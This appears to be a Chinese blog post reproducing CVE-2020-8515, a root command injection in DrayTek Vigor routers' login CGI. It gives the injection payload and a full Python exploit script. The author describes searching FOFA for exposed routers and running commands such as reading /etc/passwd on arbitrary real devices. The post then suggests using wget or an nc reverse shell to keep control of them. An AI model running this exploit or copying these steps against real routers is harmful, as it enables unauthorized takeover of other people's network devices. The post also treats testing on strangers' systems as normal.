CVE-2020-8515 draytek企业级路由器命令执行漏洞复现

CVE-2020-8515 draytek企业级路由器命令执行漏洞复现


0x01 写在前面

这阵子在进行路由器漏洞研究,漏洞的复现过程是干涩,枯燥的,并且很容易碰壁,但是随着渐渐的复现漏洞的数量变多,对漏洞的了解,理解也越来越深入,对路由器现阶段存在的已知漏洞有所收集,路由器的许多危害大的漏洞一般出现在web的cgi中,存在于登录界面的一些字段没有被好好处理而导致的命令执行漏洞,以及一些登录错误却返回重置密码的token低级错误而衍生的高危漏洞。今天介绍的漏洞是今年3月份报出来的dratek的远程命令执行漏洞。

0x02 漏洞简述

台湾DrayTek制造的企业级网络设备爆出了RCE,漏洞编号为CVE-2020-8515。
DrayTek Vigor300B cgi-bin/mainfunction.cgi URI未能正确处理SHELL字符,远程攻击者可以利用该漏洞提交特殊的请求,可以ROOT权限执行任意命令。
受影响的设备: Vigor2960 < v1.5.1、Vigor300B < v1.5.1、Vigor3900 < v1.5.1
截止现在为止,在FOFA,钟馗之眼、shodan中搜索title=“Vigor2960”,经POC仍然测试,发现很多已经修复了漏洞,但是还是有一部分仍然存在这个漏洞。仅在fofa中搜索Vigor2960就有26653个。

0x03 漏洞复现

首先根据漏洞简述和github中公开的POC,可以看出漏洞存在于cgi-bin/mainfunction.cgi中。并且是由于在登录的时候该漏洞是由于执行过程中可执行文件 /www/cgi-bin/mainfunction.cgi 没有成功过滤keyPath参数,导致可利用的命令注入。攻击者可以在payload中加入一些%27%0A 这样的特殊字符来绕过检车和实现预认证命令注入。
首先FOFA 搜索设备,从里面找随意找一个IP进行测试,有可能测试的路由器已经修复了,经过我的测试,大部分已经修复了。
CVE-2020-8515 draytek企业级路由器命令执行漏洞复现_第1张图片
首先访问路由器,看看是不是蜜罐。
CVE-2020-8515 draytek企业级路由器命令执行漏洞复现_第2张图片
然后随便输入用户名和密码,点击登录,使用burpsuit代理截包,查看请求的payload。
CVE-2020-8515 draytek企业级路由器命令执行漏洞复现_第3张图片
你会发现payload中会有action,keyPath,loginUser,loginPwd参数,其中keyPath参数,是可以进行命令注入的点

payload:action=login&keyPath=EBB4CD7BD27E14E826E4B129B0FE34&loginUser=Q5JwEpMddILNVVubQbxzrAvzu/VWEbM7kQ0w
+1iEJie5IpMeEG3QsDKtsiFyGpyIkvIhuY9q9h0HPZ/fDbtm7A==&loginPwd=NSH5m7Qzlq8tanR9W5xJSCEQj4cS1GJsbNF+ifcQJSGSS
oZTF5g2RCtjvvr+vMixSSMqjlfsuzFA3MTFKrqsrg==&formcaptcha=bnVsbA==&rtick=null

有的路由器此漏洞已经修复了,当我进行登录的时候,提交的参数中已经没有keypath参数了,并且loginUser和loginPwd也更改了参数。并且还加密了。下图就是已经修复了路由器登录的payload。
CVE-2020-8515 draytek企业级路由器命令执行漏洞复现_第4张图片
通过把自己构造的keypath,在keypath 中放入注入的命令,使用POST发送到路由器中。
CVE-2020-8515 draytek企业级路由器命令执行漏洞复现_第5张图片
github中有这个漏洞的exp,但是我在运行的时候报错了,它的exp是使用创宇的pocsuite库写的,报的错误是"pocsuite.lib.core.exception.PocsuiteDataException: unable to access item ‘registeredPocs’"。知道的老铁帮忙解决一下。最后无奈只能自己写了一些EXP。
运行EXP
执行cat /etc/passwd。 如下图所示,后面测试了一下wget命令,测试成功,那么可以自己搞个shell,然后执行wget命令,从而稳定的控制路由器。或者向路由器上传一个完整版的busybox,通过nc进行反弹shell。具体的可以自己去尝试。
CVE-2020-8515 draytek企业级路由器命令执行漏洞复现_第6张图片

0x04 EXP

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import socket
import time
import logging
import random
import string
import sys
import time
import urlparse
from pocsuite.api.utils import randomStr

def run_cmd(url,cmd):
	try:
	    headers = {
		"UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0"
	    }
	    url = url + "/cgi-bin/mainfunction.cgi"
            print(url)
	    data = "action=login&keyPath=%27%0A%2fbin%2f" + cmd + "%0A%27&loginUser=a&loginPwd=a"
            print(data)
	    res = requests.post(url=url, data=data, timeout=(10, 15), headers=headers)
	    print(res.text)
            if res.status_code == 200:
		print(res.text)
		#return res.text
	    else:
		print("404")
	except Exception as e:
	    print(e)
def verify(url):
         host = urlparse.urlparse(url).hostname
         port = urlparse.urlparse(url).port
         scheme = urlparse.urlparse(url).scheme
         if port is None:
            port = "80"
         else:
            port = str(port)
         if "https" == scheme:
            url = "%s://%s" % (scheme, host)
         else:
            url = "%s://%s:%s" % (scheme, host, port)
         print('url::::'+url)
         flag = randomStr(10)
         check = run_cmd(url,"ls")
         print(flag,check)
def main():
	# 受害者URL
	url = ""
	# 需要执行的命令
	cmd = ""
	verify(url)
if __name__=='__main__':
    main()

0x05 参考

  • https://github.com/imjdl/CVE-2020-8515-PoC

  • https://www.hayasec.me/2020/03/31/cve-2020-8515/

  • https://www.skullarmy.net/2020/01/draytek-unauthenticated-rce-in-draytek.html

纸上得来终觉浅,绝知此事要躬行

你可能感兴趣的:(一无所知的渗透,安全,路由器,iot,安全漏洞)